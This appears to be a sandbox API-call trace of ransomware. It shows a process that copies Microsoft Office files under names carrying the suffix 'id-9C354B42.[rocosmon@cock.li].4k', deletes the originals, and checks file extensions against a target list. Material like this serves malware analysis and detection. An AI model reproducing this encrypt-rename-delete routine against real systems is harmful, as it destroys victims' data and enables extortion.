	[0100.859] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.859] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0100.861] GetLastError () returned 0x0
	[0100.861] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x251f, lpOverlapped=0x0) returned 1
	[0100.911] WriteFile (in: hFile=0x1ac, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x2520, lpOverlapped=0x0) returned 1
	[0100.912] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.912] WriteFile (in: hFile=0x1ac, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0100.913] SetEndOfFile (hFile=0x1ac) returned 1
	[0100.913] CloseHandle (hObject=0x1ac) returned 1
	[0100.913] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.913] SetEndOfFile (hFile=0x1d8) returned 1
	[0100.914] CloseHandle (hObject=0x1d8) returned 1
	[0100.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.915] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 1
	[0100.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0100.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0100.915] lstrlenW (lpString=".doc") returned 4
	[0100.915] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.915] lstrlenW (lpString=".docx") returned 5
	[0100.915] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0100.915] lstrlenW (lpString=".pdf") returned 4
	[0100.915] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.915] lstrlenW (lpString=".xls") returned 4
	[0100.915] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.915] lstrlenW (lpString=".xlsx") returned 5
	[0100.915] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0100.915] lstrlenW (lpString=".ppt") returned 4
	[0100.915] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0100.915] lstrlenW (lpString=".zip") returned 4
	[0100.915] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.915] lstrlenW (lpString=".rar") returned 4
	[0100.915] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.915] lstrlenW (lpString=".bz2") returned 4
	[0100.916] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.916] lstrlenW (lpString=".7z") returned 3
	[0100.916] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0100.916] lstrlenW (lpString=".dbf") returned 4
	[0100.916] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0100.916] lstrlenW (lpString=".1cd") returned 4
	[0100.916] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0100.916] lstrlenW (lpString=".jpg") returned 4
	[0100.916] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0100.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0100.916] lstrlenW (lpString=".doc") returned 4
	[0100.916] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.916] lstrlenW (lpString=".docx") returned 5
	[0100.916] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0100.916] lstrlenW (lpString=".pdf") returned 4
	[0100.916] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.916] lstrlenW (lpString=".xls") returned 4
	[0100.917] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.917] lstrlenW (lpString=".xlsx") returned 5
	[0100.917] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0100.917] lstrlenW (lpString=".ppt") returned 4
	[0100.917] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0100.917] lstrlenW (lpString=".zip") returned 4
	[0100.917] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.917] lstrlenW (lpString=".rar") returned 4
	[0100.917] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.917] lstrlenW (lpString=".bz2") returned 4
	[0100.917] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.917] lstrlenW (lpString=".7z") returned 3
	[0100.917] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0100.917] lstrlenW (lpString=".dbf") returned 4
	[0100.917] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0100.917] lstrlenW (lpString=".1cd") returned 4
	[0100.917] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0100.917] lstrlenW (lpString=".jpg") returned 4
	[0100.917] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.918] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.918] lstrlenW (lpString="SETUP.XML") returned 9
	[0100.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0100.953] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2424) returned 1
	[0100.953] CloseHandle (hObject=0x18c) returned 1
	[0100.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20
	[0100.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0100.953] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.953] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0100.954] GetLastError () returned 0x0
	[0100.954] ReadFile (in: hFile=0x18c, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x978, lpOverlapped=0x0) returned 1
	[0100.983] WriteFile (in: hFile=0x204, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x980, lpOverlapped=0x0) returned 1
	[0100.984] ReadFile (in: hFile=0x18c, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.984] WriteFile (in: hFile=0x204, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0100.984] SetEndOfFile (hFile=0x204) returned 1
	[0100.985] CloseHandle (hObject=0x204) returned 1
	[0100.985] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.985] SetEndOfFile (hFile=0x18c) returned 1
	[0100.986] CloseHandle (hObject=0x18c) returned 1
	[0100.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.986] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 1
	[0100.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0100.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0100.987] lstrlenW (lpString=".doc") returned 4
	[0100.987] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.987] lstrlenW (lpString=".docx") returned 5
	[0100.987] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.987] lstrlenW (lpString=".pdf") returned 4
	[0100.987] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.987] lstrlenW (lpString=".xls") returned 4
	[0100.987] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.987] lstrlenW (lpString=".xlsx") returned 5
	[0100.987] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.987] lstrlenW (lpString=".ppt") returned 4
	[0100.987] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0100.987] lstrlenW (lpString=".zip") returned 4
	[0100.987] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.987] lstrlenW (lpString=".rar") returned 4
	[0100.987] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.987] lstrlenW (lpString=".bz2") returned 4
	[0100.987] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.988] lstrlenW (lpString=".7z") returned 3
	[0100.988] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0100.988] lstrlenW (lpString=".dbf") returned 4
	[0100.988] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0100.988] lstrlenW (lpString=".1cd") returned 4
	[0100.988] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0100.988] lstrlenW (lpString=".jpg") returned 4
	[0100.988] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0100.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0100.988] lstrlenW (lpString=".doc") returned 4
	[0100.988] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.988] lstrlenW (lpString=".docx") returned 5
	[0100.988] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.988] lstrlenW (lpString=".pdf") returned 4
	[0100.988] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.988] lstrlenW (lpString=".xls") returned 4
	[0100.988] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.988] lstrlenW (lpString=".xlsx") returned 5
	[0100.988] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.988] lstrlenW (lpString=".ppt") returned 4
	[0100.988] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0100.989] lstrlenW (lpString=".zip") returned 4
	[0100.989] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.989] lstrlenW (lpString=".rar") returned 4
	[0100.989] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.989] lstrlenW (lpString=".bz2") returned 4
	[0100.989] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.989] lstrlenW (lpString=".7z") returned 3
	[0100.989] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0100.989] lstrlenW (lpString=".dbf") returned 4
	[0100.989] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0100.989] lstrlenW (lpString=".1cd") returned 4
	[0100.989] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0100.989] lstrlenW (lpString=".jpg") returned 4
	[0100.989] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.989] lstrcmpiW (lpString1=".DAT", lpString2=".4k") returned 1
	[0100.989] lstrlenW (lpString="STOCKS.DAT") returned 10
	[0100.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0100.990] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=39017) returned 1
	[0100.991] CloseHandle (hObject=0x18c) returned 1
	[0100.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20
	[0100.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0100.991] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.991] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0100.992] GetLastError () returned 0x0
	[0100.992] ReadFile (in: hFile=0x18c, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x9869, lpOverlapped=0x0) returned 1
	[0101.099] WriteFile (in: hFile=0x204, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x9870, lpOverlapped=0x0) returned 1
	[0101.100] ReadFile (in: hFile=0x18c, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0101.100] WriteFile (in: hFile=0x204, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0101.100] SetEndOfFile (hFile=0x204) returned 1
	[0101.101] CloseHandle (hObject=0x204) returned 1
	[0101.101] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.101] SetEndOfFile (hFile=0x18c) returned 1
	[0101.102] CloseHandle (hObject=0x18c) returned 1
	[0101.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0101.102] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 1
	[0101.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0101.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0101.103] lstrlenW (lpString=".doc") returned 4
	[0101.103] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1
	[0101.103] lstrlenW (lpString=".docx") returned 5
	[0101.103] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1
	[0101.103] lstrlenW (lpString=".pdf") returned 4
	[0101.103] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1
	[0101.103] lstrlenW (lpString=".xls") returned 4
	[0101.103] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1
	[0101.103] lstrlenW (lpString=".xlsx") returned 5
	[0101.103] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1
	[0101.103] lstrlenW (lpString=".ppt") returned 4
	[0101.103] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1
	[0101.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0101.103] lstrlenW (lpString=".zip") returned 4
	[0101.103] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1
	[0101.103] lstrlenW (lpString=".rar") returned 4
	[0101.103] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1
	[0101.103] lstrlenW (lpString=".bz2") returned 4
	[0101.103] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1
	[0101.103] lstrlenW (lpString=".7z") returned 3
	[0101.103] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1
	[0101.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0101.103] lstrlenW (lpString=".dbf") returned 4
	[0101.103] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1
	[0101.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0101.104] lstrlenW (lpString=".1cd") returned 4
	[0101.104] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1
	[0101.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0101.104] lstrlenW (lpString=".jpg") returned 4
	[0101.104] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1
	[0101.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0101.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0101.104] lstrlenW (lpString=".doc") returned 4
	[0101.104] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1
	[0101.104] lstrlenW (lpString=".docx") returned 5
	[0101.104] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1
	[0101.104] lstrlenW (lpString=".pdf") returned 4
	[0101.104] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1
	[0101.104] lstrlenW (lpString=".xls") returned 4
	[0101.104] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1
	[0101.104] lstrlenW (lpString=".xlsx") returned 5
	[0101.104] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1
	[0101.104] lstrlenW (lpString=".ppt") returned 4
	[0101.104] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1
	[0101.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0101.105] lstrlenW (lpString=".zip") returned 4
	[0101.105] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1
	[0101.105] lstrlenW (lpString=".rar") returned 4
	[0101.105] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1
	[0101.105] lstrlenW (lpString=".bz2") returned 4
	[0101.105] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1
	[0101.105] lstrlenW (lpString=".7z") returned 3
	[0101.105] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1
	[0101.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0101.105] lstrlenW (lpString=".dbf") returned 4
	[0101.105] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1
	[0101.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0101.105] lstrlenW (lpString=".1cd") returned 4
	[0101.105] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1
	[0101.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0101.105] lstrlenW (lpString=".jpg") returned 4
	[0101.105] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1
	[0101.105] lstrcmpiW (lpString1=".gif", lpString2=".4k") returned 1
	[0101.105] lstrlenW (lpString="Cave_Drawings.gif") returned 17
